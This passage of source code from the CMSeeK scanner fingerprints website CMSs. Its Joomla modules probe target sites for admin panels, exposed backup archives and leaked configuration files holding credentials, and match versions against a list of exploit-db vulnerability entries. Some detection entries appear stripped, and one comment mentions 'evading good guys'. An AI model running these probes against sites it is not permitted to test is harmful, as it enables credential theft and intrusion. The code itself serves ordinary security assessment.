'xpressengine:-xe', 'typo3 cms:-tp3', 'textpattern cms:-tpc', 'ametys cms open source (http://www.ametys.org:-amcms', 'joomla! - open source content management||Joomla! - the dynamic portal engine and content management system||joomla:-joom', 'xoops:-xoops', 'wix.com:-wix', 'cms: website baker||www.websitebaker.org:-wb', 'webgui:-wgui', 'subrion cms:-subcms', 'tiki wiki cms groupware||http://tiki.org:-tiki', 'snews:-snews', 'silverstripe:-sst', 'silva:-silva', 'serendipity:-spity', 'seamless.cms.webgui:-slcms', 'rock:-rock', 'roadiz:-roadz', 'ritecms:-rite', 'rcms:-rcms', 'quick.cms:-quick', 'phpwind:-pwind', 'percussion:-percms', 'ophal||ophal.org:-ophal', 'odoo:-odoo', 'sitefinity:-sfy', 'microsoft sharePoint:-share', 'mura cms:-mura', 'mambo:-mambo', 'koken:-koken', 'indexhibit:-ibit', 'webflow:-wflow', 'jalios jcms:-jcms', 'impresspages cms:-impage', 'hotaru cms:-hotaru', 'gravcms:-grav', 'getsimple:-gsimp', 'fork cms:-fork', 'php-nuke:-phpn', 'flexcmp:-flex', 'ez publish:-ezpu', 'episerver:-epis', 'dotnetnuke:-dnn', 'seomatic:-craft', 'cpg dragonfly cms:-dragon', 'cotonti:-coton', 'orchard:-orchd', 'contentbox:-cbox', 'contensis cms:-cntsis', 'contenido:-cnido', 'contao:-contao', 'concrete5:-con5', 'discourse:-dscrs', 'discuz!:-discuz', 'uknowva:-uknva', 'beehive forum:-bhf', 'ubb.threads:-ubbt', 'cubecart:-cubec', 'dynamicweb:-dweb', 'ez publish:-ezpub', 'prestashop:-presta', 'proximis omnichannel:-pmoc', 'quick.cart:-qcart', 'rbs change:-rbsc', 'sazito:-sazito', 'shopfa:-shopfa', 'solusquare:-solusquare', 'amiro.cms||www.amiro.ru:-amiro', 'starfield technologies; go daddy website builder:-godaddywb', 'opennemas:-opennemas', 'zen-cart.com||zen cart:-zencart' ] for detection_key in generator_tag_detection_keys: if ':-' in detection_key: detection_array = detection_key.split(':-') if '||' in detection_array[0]: detection_strings = detection_array[0].split('||') for detection_string in detection_strings: if detection_string in hstring and detection_array[1] not in cmseek.ignore_cms: if cmseek.strict_cms == [] or detection_array[1] in cmseek.strict_cms: return ['1', detection_array[1]] else: if detection_array[0] in hstring and detection_array[1] not in cmseek.ignore_cms: if cmseek.strict_cms == [] or detection_array[1] in cmseek.strict_cms: return ['1', detection_array[1]] return ['0', ''] CMSeeK-v.1.1.3/cmseekdb/getsource.py000066400000000000000000000030731370665123600171720ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import urllib.request from http.cookiejar import CookieJar def getrawsource(url, ua): if url == "": # Empty freakin shit r = ['0','Empty URL Provided','', ''] return r try: ckreq = urllib.request.Request( url, data=None, headers={ 'User-Agent': ua, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3', #'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.8', 'Connection': 'keep-alive' } ) cj = CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) with opener.open(ckreq, timeout=8) as response: scode = response.read().decode("utf-8", 'ignore') headers = str(response.info()) rurl = response.geturl() return ['1', scode, headers, rurl] ## 'success code', 'source code', 'http headers', 'redirect url' # return r except Exception as e: try: ecode = str(e.code) ehed = str(e.info()) return ['2', str(e), ecode, ehed] ## will come in handy evading good guys # return r except Exception as f: return ['2', str(e), '', ''] ## 'error code', 'error message', 'empty' #return r CMSeeK-v.1.1.3/cmseekdb/header.py000066400000000000000000000212261370665123600164220ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra # This file contains all the methods of detecting cms via http Headers # Version: 1.0.0 # Return a list with ['1'/'0','ID of CMS'/'na'] 1 = detected 0 = not detected import re import cmseekdb.basic as cmseek def check(hstring): if hstring == "": return ['0', 'na'] else: #hstring = h # harray = h.split("\n") # will use whenever necessary #### START DETECTION FROM HERE header_detection_keys = [ '/wp-json/:-wp', 'X-Drupal-||19 Nov 1978 05:-dru', 'Expires: Wed, 17 Aug 2005 00:00:00 GMT:-joom', 'X-Wix-:-wix', 'Set-Cookie: ushahidi:-ushahidi', 'X-Generated-By: UMI.CMS:-umi', 'x-generator: Sulu:-sulu', 'X-Powered-CMS: Subrion CMS:-subcms', 'Set-Cookie: SQ_SYSTEM_SESSION||squizedge.net:-sqm', 'spincms:-spin', 'solodev_session:-sdev', 'SC_ANALYTICS_GLOBAL_COOKIE:-score', 'X-ServedBy: simplebo||_simplebo_tool_session:-spb', 'X-Blog: Serendipity||Set-Cookie: serendipity[||Set-Cookie: s9y_:-spity', 'Set-Cookie: SEAMLESS_IDENTIFIER:-slcms', 'X-Powered-By: Roadiz CMS:-roadz', 'X-Powered-By: pimcore:-pcore', 'x-powered-by: PencilBlue:-pblue', 'x-powered-by: Ophal:-ophal', 'Server: OpenCms:-ocms', 'X-Odoo-:-odoo', 'X-SharePointHealthScore||SPIisLatency||SPRequestGuid||MicrosoftSharePointTeamServices||SPRequestDuration:-share', 'october_session:-octcms', 'Generator: Mura CMS:-mura', 'X-Powered-By: MODX:-modx', 'X-KoobooCMS-Version:-kbcms', 'X-Jimdo-:-jimdo', 'Set-Cookie: ndxz_:-ibit', 'X-Jcms-Ajax-Id:-jcms', 'Set-Cookie: grav-site-:-grav', 'X-Powered-By: FlexCMP||X-Flex-Tag:||X-Flex-Lang:||X-Flex-Lastmod:||X-Flex-Community:||X-Flex-Evstart:-flex', 'X-Powered-By: eZ Publish||Set-Cookie: eZSESSID:-ezpu', 'Set-Cookie: exp_tracker||Set-Cookie: exp_last_activity||Set-Cookie: exp_last_visit||Set-Cookie: exp_csrf_token=:-exen', 'X-Powered-By: e107||Set-Cookie: SESSE107COOKIE:-e107', 'Set-Cookie: dnn_IsMobile||DNNOutputCache||DotNetNuke:-dnn', 'X-Powered-By: CMS Danneo:-dncms', 'X-Powered-By: Craft CMS||Set-Cookie: CraftSessionId:-craft', 'X-Powered-By: Dragonfly CMS:-dragon', 'X-Generator: Orchard:-orchd', 'X-Powered-By: ContentBox||Set-Cookie: LIGHTBOXSESSION:-cbox', 'Set-Cookie: CONCRETE5:-con5', 'X-Discourse-Route:-dscrs', 'Set-Cookie: flarum_session=:-flarum', 'IPSSessionFront||ipbWWLmodpids||ipbWWLsession_id:-ipb', 'X-Powered-By: NodeBB:-nodebb', 'X-Garden-Version: Vanilla||Maybe you should be reading this instead: https://www.vanillaforums.com/en/careers:-vanilla', 'Set-Cookie: xf_session=||Set-Cookie: xf_csrf=:-xf', '[aefsid]:-aef', 'Set-Cookie: fud_session_:-fudf', 'Set-Cookie: phorum_session:-phorum', 'Set-Cookie: yazdLastVisited=:-yazd', 'Set-Cookie: ubbt_:-ubbt', 'X-Powered-By: Afosto||Link: OpenCart||\"catalog/view/javascript/jquery/swiper/css/opencart.css\"||index.php?route=:-oc", "/xoops.js||xoops_redirect:-xoops", "Wolf Default RSS Feed:-wolf", "/ushahidi.js||alt=\"Ushahidi\":-ushahidi", "getWebguiProperty:-wgui", "title: \"TiddlyWiki\"||TiddlyWiki created by Jeremy Ruston,:-tidw", "Running Squiz Matrix:-sqm", "assets.spin-cdn.com:-spin", "content=\"Solodev\" name=\"author\":-sdev", "content=\"sNews:-snews", "/api/sitecore/:-score", "simsite/:-sim", "simplebo.net/ ||\"pswp__:-spb", "/silvatheme:-silva", "serendipityQuickSearchTermField ||\"serendipity_||serendipity[:-spity", "Published by Seamless.CMS.WebUI:-slcms", "rock-config-trigger||rock-config-cancel-trigger:-rock", "/rcms-f-production.:-rcms", "CMS by Quick.Cms:-quick", "\"pimcore_:-pcore", "xmlns:perc||cm/css/perc_decoration.css:-percms", "PencilBlueController||\"pencilblueApp\":-pblue", "/libraries/ophal.js:-ophal", "Sitefinity/WebsiteTemplates:-sfy", "published by Open Text Web Solutions:-otwsm", "/opencms/export/:-ocms", "odoo.session_info||var odoo =:-odoo", "_spBodyOnLoadWrapper||_spPageContextInfo||_spFormOnSubmitWrapper:-share", "/storage/app/media/:-octcms", "mura.min.css||/plugins/Mura:-mura", "mt-content/||moto-website-style:-moto", "mono_donottrack||monotracker.js ||_monoTracker:-mnet", "Powered by MODX:-modx", "siteCMS:methode\"||\"contentOriginatingCMS=Methode\"||Methode tags version||/r/PortalConfig/common/assets/:-methd", "var LIVESTREET_SECURITY_KEY:-lscms", "/koken.js||data-koken-internal:-koken", "jimdo_layout_css||var jimdoData||isJimdoMobileApp:-jimdo", "||css/webflow.css||js/webflow.js:-wflow", "css/jalios/core/||js/jalios/core/||jalios:ready:-jcms", "ip_themes/||ip_libs/||ip_cms/:-impage", "/css_js_cache/hotaru_css||hotaruFooterImg||/css_js_cache/hotaru_js:-hotaru", "binaries/content/gallery/:-hippo", "PHP-Nuke Copyright ©||PHP-Nuke theme by:-phpn", "FlexCMP - CMS per Siti Accessibili||/flex/TemplatesUSR/||FlexCMP - Digital Experience Platform (DXP):-flex", "copyright\" content=\"eZ Systems\"||ezcontentnavigationpart||ezinfo/copyright:-ezpu", "e107_files/e107.js||e107_themes/||e107_plugins/:-e107", "||DNNROBOTS||js/dnncore.js?||dnn_ContentPane||js/dnn.js?:-dnn", "phpBBstyle||phpBBMobileStyle||style_cookie_settings:-phpbb", "dede_fields||dede_fieldshash||DedeAjax||DedeXHTTP||include/dedeajax2.js||css/dedecms.css:-dede", "/Orchard.jQuery/||orchard.themes||orchard-layouts-root:-orchd", "modules/contentbox/themes/:-cbox", "data-contentful||.contentful.com/||.ctfassets.net/:-conful", "Contensis.current||ContensisSubmitFromTextbox||ContensisTextOnly:-contensis", "system/cron/cron.txt:-contao", "/burningBoard.css||wcf/style/:-bboard", "/concrete/images||/concrete/css||/concrete/js:-con5", "discourse_theme_id||discourse_current_homepage:-discrs", "discuz_uid||discuz_tips||content=\"Discuz! Team and Comsenz UI Team\":-discuz", "flarum-loading||flarum/app:-flarum", "/* IP.Board||js/ipb.js||js/ipb.lang.js:-ipb", "ips_usernameand ips_password:-ipb", "bb_default_style.css||name=\"URL\" content=\"http://www.minibb.net/\":-minibb", "var MyBBEditor:-mybb", "/assets/nodebb.min.js||/plugins/nodebb-:-nodebb", "PUNBB.env||typeof PUNBB ===:-punbb", "Powered by SMF:-smf", "vanilla_discussions_index||vanilla_categories_index:-vanilla", "Forum software by XenForo™||||Powered by XMB:-xmb", "yabbfiles/:-yabb", "Powered By AEF:-aef", "Powered by: FUDforum:-fudf", "
:-phorum", "\"YafHead:-yaf", ":-sfcc', 'icons__icons___XoCGh||styles__empty___3WCoC||icons__icon-phone___22Eum:-sazito', 'SHOPATRON-CRAWLER:-shopatron', 'Umbraco/||umbraco/:-umbraco', 'Sklep internetowy Shoper.pl:-shoper', '//www.googletagmanager.com/ns.html?id=GTM-N2T2D3:-shopery', 'shopfa_license:-shopfa', '/smjslib.js||/smartstore.core.js:-smartstore', '_W.configDomain||Weebly.footer:-weebly', 'js/whmcs.js:-whmcs', 'OpenNeMaS CMS by Openhost||var u = "https://piwik.openhost.es/":-opennemas', 'zenid=||Congratulations! You have successfully installed your Zen Cart||Google Code for ZenCart Google||Powered by ZenCart||sideboxpzen-cart||stylesheet_zen_lightbox.css:-zencart', 'Redakční systém IPO||cdn.antee.cz/||ipo.min.js:-ipo' ] for detection_key in page_source_detection_keys: if ':-' in detection_key: detection_array = detection_key.split(':-') if '||' in detection_array[0]: idkwhat = detection_array[0] detection_strings = idkwhat.split('||') for detection_string in detection_strings: if detection_string in page_source_code and detection_array[1] not in cmseek.ignore_cms: # check if the cms_id is not in the ignore list if cmseek.strict_cms == [] or detection_array[1] in cmseek.strict_cms: return ['1', detection_array[1]] elif '::::' in detection_array[0]: # :::: is used when we want to check if both detection strings are present in the source code. match_status = '0' # 0 = neutral, 1 = passed, 2 = failed match_strings = detection_array[0].split('::::') for match_string in match_strings: if match_status == '0' or match_status == '1': if match_string in page_source_code: match_status = '1' else: match_status = '2' else: match_status = '2' if match_status == '1' and detection_array[1] not in cmseek.ignore_cms: if cmseek.strict_cms == [] or detection_array[1] in cmseek.strict_cms: return ['1', detection_array[1]] else: if detection_array[0] in page_source_code and detection_array[1] not in cmseek.ignore_cms: if cmseek.strict_cms == [] or detection_array[1] in cmseek.strict_cms: return ['1', detection_array[1]] #################################################### # REGEX DETECTIONS STARTS FROM HERE # #################################################### page_source_detection_regex_keys = [ '(\'|")https\://afosto\-cdn(.*?)\.afosto\.com(.*?)(\'|"):-afsto', 'Powered by(.*?)JForum(.*?)\:-jf', 'Powered by(.*?)AspNetForum(.*?)(\|\):-aspf', 'Powered by(.*?)MercuryBoard(.*?)\:-mcb', 'Powered by(.*?)mwForum(.*?)Markus Wichitill:-mvnf', 'Powered by(.*?)mvnForum(.*?)\:-mvnf', 'Powered by myUPB(.*?)\:-myupb', '\>Powered by UBB\.threads(.*?)\:-ubbt', 'Powered by(.*?)NoNonsense Forum\:-nnf', '\>Powered by YAF\.NET(.*?)\:-yaf', 'aefonload(.*?)\:-aef', 'applications/vanilla/(.*?)\.js:-vanilla', 'var smf_(theme_url|images_url|scripturl) \=(.*?)\:-smf', 'Powered by(.*?)PunBB\:-punbb', 'Powered by(.*?)NodeBB\:-nodebb', '(Powered By|href\="https\://www\.mybb\.com")(.*?)(MyBB|MyBB Group)\:-mybb', '(powered by|http\://www\.miniBB\.net)(.*?)(miniBB|miniBB forum software):-minibb', 'Powered by(.*?)FluxBB:-fluxbb', 'invisioncommunity\.com(.*?)Powered by Invision Community:-ipb', 'ipb\.(vars|templates|lang)\[(.*?)=(.*?)\:-ipb', '(a href\="http\://www\.woltlab\.com"|Forum Software|Forensoftware)(.*?)Burning Board(.*?)\:-bboard', 'Discourse\.(.*?)\=(.*?)\:-dscrs', 'ping\.src \= node\.href(.*?)\:-arc', 'binaries/(.*?)/content/gallery/:-hippo', '\.php\?m\=(.*?)&c\=(.*?)&a\=(.*?)&catid\=:-phpc', 'Powered by (.*?)phpBB:-phpbb', 'copyright(.*?)phpBB Group:-phpbb', 'Powered by(.*?)Cotonti:-coton', 'CCM_(.*?)(_|)(MODE|URL|PATH|FILENAME|REL|CID):-con5', '\:-bizw', 'var clientexec \=(.*?)\||Powered by(.*?)http\://www\.clientexec\.com\?source\=poweredby(.*?)\:-cexec', '\:-cloudc', 'var Colorme \=(.*?)\:-cmshop', 'https://cdn.mycomandia.com/uploads/comandia_(.*?)/r/(.*?)//js/(functions|main).js:-cmdia', ':-cosmos', '.cm-noscript(.*?):-csc', ':-cubec', ':-abda', ':-dweb', '||||:-ecc', ':-elcd', 'href=(.*?)/epages/(.*?).sf(.*?):-epgs', ':-ezpub', 'Powered by(.*?)Fortune3:-for3', 'Built on(.*?)bigtreecms.org(.*?)BigTree CMS:-btree', 'powered(.*?)opensolution.org(.*?)Sklep internetowy', 'href\=(.*?)on/demandware.static:-sfcc', 'href\=(.*?)mediacdn.shopatron.com||href\=(.*?)cdn.shptrn.com:-shopatron', 'href\=(.*?)rwd_shoper(|_1):-shoper', '(cdn|font).shopery.com/:-shopery', 'href\=(.*?)cdn.shopfa.com/||href\=(.*?)cdnfa.com/:-shopfa', 'id=("|\')(shopify-digital-wallet|shopify-features)||href\=(.*?)cdn.shopify.com/:-shopify', 'href\=(.*?)cdn.myshoptet.com/||content="Shoptet.sk"||var shoptet=:-shoptet', 'css/smartstore.(core|theme|modules).css:-smartstore', 'src=(.*?)spree/(products|brands)||Spree.(api_key|routes|translations):-spree', 'meta name\=("|\')brightspot.(contentId|cached)||href=("|\')brightspotcdn:-brightspot', 'amiro_sys_(css|js).php:-amiro', 'weebly-(footer|icon):-weebly', '/ekmps/(scripts|css|assets|images|shops|designs)||globalstats.ekmsecure.com/hits/stats(-global).js:-ekmps', 'sf_(wrapper|footer|banner|subnavigation|pagetitle):-godaddywb', 'onm-(new|image|carousel|big|cropped):-opennemas', 'ipo(pagetext|mainframe|footer|menuwrapper|copyright|header|main|menu|statistics):-ipo' ] for detection_key in page_source_detection_regex_keys: if ':-' in detection_key: detection_array = detection_key.split(':-') if '||' in detection_array[0]: detection_regex_strings = detection_array[0].split('||') for detection_regex_string in detection_regex_strings: regex_match_status = re.search(detection_regex_string, page_source_code, re.DOTALL) if regex_match_status != None and detection_array[1] not in cmseek.ignore_cms: if cmseek.strict_cms == [] or detection_array[1] in cmseek.strict_cms: return ['1', detection_array[1]] else: regex_match_status = re.search(detection_array[0], page_source_code, re.DOTALL) if regex_match_status != None and detection_array[1] not in cmseek.ignore_cms: if cmseek.strict_cms == [] or detection_array[1] in cmseek.strict_cms: return ['1', detection_array[1]] else: # Failure return ['0', 'na'] CMSeeK-v.1.1.3/current_version000066400000000000000000000000061370665123600162060ustar00rootroot000000000000001.1.3 CMSeeK-v.1.1.3/deepscans/000077500000000000000000000000001370665123600150055ustar00rootroot00000000000000CMSeeK-v.1.1.3/deepscans/__init__.py000066400000000000000000000000001370665123600171040ustar00rootroot00000000000000CMSeeK-v.1.1.3/deepscans/core.py000066400000000000000000000013631370665123600163120ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra def start(id, url, ua, ga, source, ga_content, detection_method='', headers=''): if id == "wp": # for now this is the only cms... but not for long! import deepscans.wp.init as wpscan wpscan.start(id, url, ua, ga, source, detection_method) if id == 'joom': # told ya... not for long import deepscans.joom.init as joomscan joomscan.start(id, url, ua, ga, source) if id == 'umbraco': # umm... whatever import deepscans.umbraco.init as umbracoscan umbracoscan.start(id, url, ua, ga, source, detection_method, headers) CMSeeK-v.1.1.3/deepscans/joom/000077500000000000000000000000001370665123600157515ustar00rootroot00000000000000CMSeeK-v.1.1.3/deepscans/joom/__init__.py000066400000000000000000000000001370665123600200500ustar00rootroot00000000000000CMSeeK-v.1.1.3/deepscans/joom/admin_finder.py000066400000000000000000000017661370665123600207540ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import threading import cmseekdb.basic as cmseek joom_admin_found = 0 joom_admins = [] def check_admin(url,file,ua): global joom_admin_found, joom_admins file_check = cmseek.check_url(url + '/' + file, ua) if file_check == '1': cmseek.success('Admin login page found: ' + cmseek.bold + cmseek.fgreen + url + '/' + file + cmseek.cln) joom_admin_found += 1 joom_admins.append(file) def start(url, ua): admin_files = ['administrator','admin','panel','webadmin','modir','manage','administration','joomla/administrator','joomla/admin'] threads = [threading.Thread(target=check_admin, args=(url, file ,ua)) for file in admin_files] for thread in threads: thread.start() for thread in threads: thread.join() global joom_admin_found, joom_admins return [joom_admin_found, joom_admins] CMSeeK-v.1.1.3/deepscans/joom/backups.py000066400000000000000000000071421370665123600177570ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import threading import cmseekdb.basic as cmseek joom_bak_found = 0 joom_backups = [] def check_backup(url,file,ua): global joom_bak_found, joom_backups file_check = cmseek.check_url(url + '/' + file, ua) if file_check == '1': cmseek.success('Potential backup file found: ' + cmseek.bold + cmseek.fgreen + file + cmseek.cln) joom_bak_found += 1 joom_backups.append(file) def start(url, ua): backup_files = ['1.txt','2.txt','1.gz','1.rar','1.save','1.tar','1.tar.bz2','1.tar.gz','1.tgz','1.tmp','1.zip','2.back','2.backup','2.gz','2.rar','2.save','2.tar','2.tar.bz2','2.tar.gz','2.tgz','2.tmp','2.zip','backup.back','backup.backup','backup.bak','backup.bck','backup.bkp','backup.copy','backup.gz','backup.old','backup.orig','backup.rar','backup.sav','backup.save','backup.sql~','backup.sql.back','backup.sql.backup','backup.sql.bak','backup.sql.bck','backup.sql.bkp','backup.sql.copy','backup.sql.gz','backup.sql.old','backup.sql.orig','backup.sql.rar','backup.sql.sav','backup.sql.save','backup.sql.tar','backup.sql.tar.bz2','backup.sql.tar.gz','backup.sql.tgz','backup.sql.tmp','backup.sql.txt','backup.sql.zip','backup.tar','backup.tar.bz2','backup.tar.gz','backup.tgz','backup.txt','backup.zip','database.back','database.backup','database.bak','database.bck','database.bkp','database.copy','database.gz','database.old','database.orig','database.rar','database.sav','database.save','database.sql~','database.sql.back','database.sql.backup','database.sql.bak','database.sql.bck','database.sql.bkp','database.sql.copy','database.sql.gz','database.sql.old','database.sql.orig','database.sql.rar','database.sql.sav','database.sql.save','database.sql.tar','database.sql.tar.bz2','database.sql.tar.gz','database.sql.tgz','database.sql.tmp','database.sql.txt','database.sql.zip','database.tar','database.tar.bz2','database.tar.gz','database.tgz','database.tmp','database.txt','database.zip','joom.back','joom.backup','joom.bak','joom.bck','joom.bkp','joom.copy','joom.gz','joomla.back','Joomla.back','joomla.backup','Joomla.backup','joomla.bak','Joomla.bak','joomla.bck','Joomla.bck','joomla.bkp','Joomla.bkp','joomla.copy','Joomla.copy','joomla.gz','Joomla.gz','joomla.old','Joomla.old','joomla.orig','Joomla.orig','joomla.rar','Joomla.rar','joomla.sav','Joomla.sav','joomla.save','Joomla.save','joomla.tar','Joomla.tar','joomla.tar.bz2','Joomla.tar.bz2','joomla.tar.gz','Joomla.tar.gz','joomla.tgz','Joomla.tgz','joomla.zip','Joomla.zip','joom.old','joom.orig','joom.rar','joom.sav','joom.save','joom.tar','joom.tar.bz2','joom.tar.gz','joom.tgz','joom.zip','site.back','site.backup','site.bak','site.bck','site.bkp','site.copy','site.gz','site.old','site.orig','site.rar','site.sav','site.save','site.tar','site.tar.bz2','site.tar.gz','site.tgz','site.zip','sql.zip.back','sql.zip.backup','sql.zip.bak','sql.zip.bck','sql.zip.bkp','sql.zip.copy','sql.zip.gz','sql.zip.old','sql.zip.orig','sql.zip.save','sql.zip.tar','sql.zip.tar.bz2','sql.zip.tar.gz','sql.zip.tgz','upload.back','upload.backup','upload.bak','upload.bck','upload.bkp','upload.copy','upload.gz','upload.old','upload.orig','upload.rar','upload.sav','upload.save','upload.tar','upload.tar.bz2','upload.tar.gz','upload.tgz','upload.zip'] threads = [threading.Thread(target=check_backup, args=(url, file ,ua)) for file in backup_files] for thread in threads: thread.start() for thread in threads: thread.join() global joom_bak_found, joom_backups return [joom_bak_found, joom_backups] CMSeeK-v.1.1.3/deepscans/joom/check_debug.py000066400000000000000000000010341370665123600205440ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import cmseekdb.basic as cmseek # I know there is no reason at all to create a separate module for this.. there's something that's going to be added here so.. trust me! def start(source): # print(source) if 'Joomla! Debug Console' in source or 'xdebug.org/docs/all_settings' in source: cmseek.success('Debug mode on!') return '1' else: return '0' CMSeeK-v.1.1.3/deepscans/joom/check_reg.py000066400000000000000000000012531370665123600202360ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import cmseekdb.basic as cmseek def start(url,ua): reg_url = url + '/index.php?option=com_users&view=registration' reg_source = cmseek.getsource(reg_url, ua) if reg_source[0] == '1': if 'registration.register' in reg_source[1] or 'jform_password2' in reg_source[1] or 'jform_email2' in reg_source[1]: cmseek.success('User registration open, ' + cmseek.bold + reg_url + cmseek.cln) return ['1', reg_url] else: return ['0', ''] else: return ['0', ''] CMSeeK-v.1.1.3/deepscans/joom/config_leak.py000066400000000000000000000030031370665123600205600ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import threading import cmseekdb.basic as cmseek joom_conf_found = 0 joom_confs = [] def check_config(url,file,ua): global joom_conf_found, joom_confs file_check = cmseek.check_url(url + '/' + file, ua) if file_check == '1': cmseek.success('Potential configuration file found: ' + cmseek.bold + cmseek.fgreen + file + cmseek.cln) joom_conf_found += 1 joom_confs.append(file) def start(url, ua): config_files = ['configuration.php~','configuration.php.new','configuration.php.new~','configuration.php.old','configuration.php.old~','configuration.bak','configuration.php.bak','configuration.php.bkp','configuration.txt','configuration.php.txt','configuration - Copy.php','configuration.php.swo','configuration.php_bak','configuration.orig','configuration.php.save','configuration.php.original','configuration.php.swp','configuration.save','.configuration.php.swp','configuration.php1','configuration.php2','configuration.php3','configuration.php4','configuration.php4','configuration.php6','configuration.php7','configuration.phtml','configuration.php-dist'] threads = [threading.Thread(target=check_config, args=(url, file ,ua)) for file in config_files] for thread in threads: thread.start() for thread in threads: thread.join() global joom_conf_found, joom_confs return [joom_conf_found, joom_confs] CMSeeK-v.1.1.3/deepscans/joom/core_vuln.py000066400000000000000000000025671370665123600203310ustar00rootroot00000000000000#!/usr/bin/python3 # -*- coding: utf-8 -*- # This is a part of CMSeeK, check the LICENSE file for more information # Copyright (c) 2018 - 2020 Tuhinshubhra import os import cmseekdb.basic as cmseek def start(version): if version != '0': vuln_file = os.getcwd() + '/deepscans/joom/database/corevul.txt' # shoutouts to joomscan if os.path.isfile(vuln_file): vuln_detection = '1' # version detection successful and vuln db loaded as well vuln_count = 0 joom_vulns = [] f = open(vuln_file, 'r') vuln_db = f.read() vulns = vuln_db.split('\n') for vuln in vulns: if version in vuln: cmseek.warning('Joomla core vulnerability detected') vuln_count += 1 vul = vuln.split('|') # print(vul[1]) joom_vulns.append(vul[1]) return [vuln_detection, vuln_count, joom_vulns] else: vuln_detection = '3' # version was detected but vulnerability database not found vuln_count = 0 joom_vulns = [] return [vuln_detection, vuln_count, joom_vulns] else: vuln_detection = '2' # detection failed due to no version info vuln_count = 0 joom_vulns = [] return [vuln_detection, vuln_count, joom_vulns] CMSeeK-v.1.1.3/deepscans/joom/database/000077500000000000000000000000001370665123600175155ustar00rootroot00000000000000CMSeeK-v.1.1.3/deepscans/joom/database/corevul.txt000066400000000000000000000322231370665123600217370ustar00rootroot000000000000001.0.7|Joomla! 1.0.7 / Mambo 4.5.3 - (feed) Full Path Disclosure / Denial of Service\nEDB : https://www.exploit-db.com/exploits/1698/ 1.0.9|Joomla! 1.0.9 - (Weblinks) Blind SQL Injection\nCVE : CVE-2006-7247\nEDB : https://www.exploit-db.com/exploits/1922/ 1.5.0|Joomla! 1.5 Beta 2 - 'Search' Remote Code Execution\nEDB : https://www.exploit-db.com/exploits/4212/ 1.5.0|Joomla! 1.5 Beta1/Beta2/RC1 - SQL Injection\nCVE : CVE-2007-4781\nEDB : https://www.exploit-db.com/exploits/4350/ 1.5.5,1.5.4,1.5.3,1.5.2,1.5.1,1.5.0|Joomla! 1.5.x - (Token) Remote Admin Change Password\nCVE : CVE-2008-3681\nEDB : https://www.exploit-db.com/exploits/6234/ 1.5.11,1.5.10,1.5.9,1.5.8,1.5.7,1.5.6,1.5.5,1.5.4,1.5.3,1.5.2,1.5.1|Joomla! 1.5.x - Cross-Site Scripting / Information Disclosure\nCVE: CVE-2011-4909\nEDB : https://www.exploit-db.com/exploits/33061/ 1.5.11,1.5.10,1.5.9,1.5.8,1.5.7,1.5.6,1.5.5,1.5.4,1.5.3,1.5.2,1.5.1|Joomla! 1.5.x - 404 Error Page Cross-Site Scripting\nEDB : https://www.exploit-db.com/exploits/33378/ 1.5.12|Joomla! 1.5.12 - read/exec Remote files\nEDB : https://www.exploit-db.com/exploits/11263/ 1.5.12|Joomla! 1.5.12 - connect back Exploit\nEDB : https://www.exploit-db.com/exploits/11262/ 1.6.0|Joomla! 1.6.0-Alpha2 - Cross-Site Scripting\nEDB : https://www.exploit-db.com/exploits/12489/ 1.5.12|Joomla! Plugin 'tinybrowser' 1.5.12 - Arbitrary File Upload / Code Execution (Metasploit)\nCVE : CVE-2011-4908\nEDB : https://www.exploit-db.com/exploits/9926/ 1.5|Joomla! 1.5 - URL Redirecting\nEDB : https://www.exploit-db.com/exploits/14722/ 1.5.21,1.5.20,1.5.19,1.5.18,1.5.17,1.5.16,1.5.15,1.5.14,1.5.13,1.5.12,1.5.11,1.5.10,1.5.9,1.5.8,1.5.7,1.5.6,1.5.5,1.5.4,1.5.3,1.5.2,1.5.1|Joomla! 1.5.x - SQL Error Information Disclosure\nEDB : https://www.exploit-db.com/exploits/34955/ 1.0.15,1.0.14,1.0.13,1.0.12,1.0.11,1.0.10,1.0.9,1.0.8,1.0.7,1.0.4,1.0.3,1.0.2,1.0.1,1.0.0|Joomla! 1.0.x - 'ordering' Parameter Cross-Site Scripting\nCVE : CVE-2011-0005\nEDB : https://www.exploit-db.com/exploits/35167/ 4.5.1|Joomla! Plugin 'Captcha' 4.5.1 - Local File Disclosure\nEDB : https://www.exploit-db.com/exploits/15958/ 1.5.22,1.6.0|Joomla! - Spam Mail Relay\nEDB : https://www.exploit-db.com/exploits/15979/ 1.6.0|Joomla! 1.6 - Multiple SQL Injections\nCVE : CVE-2011-1151\nEDB : https://www.exploit-db.com/exploits/16992/ 1.5.22,1.6.0|Joomla! 1.5/1.6 - JFilterInput Cross-Site Scripting Bypass\nEDB : https://www.exploit-db.com/exploits/16091/ 1.6.3|Joomla! 1.6.3 - Multiple Cross-Site Scripting Vulnerabilities\nEDB : https://www.exploit-db.com/exploits/35894/ 1.6.3|Joomla! 1.6.3 - Cross-Site Request Forgery\nEDB : https://www.exploit-db.com/exploits/17496/ 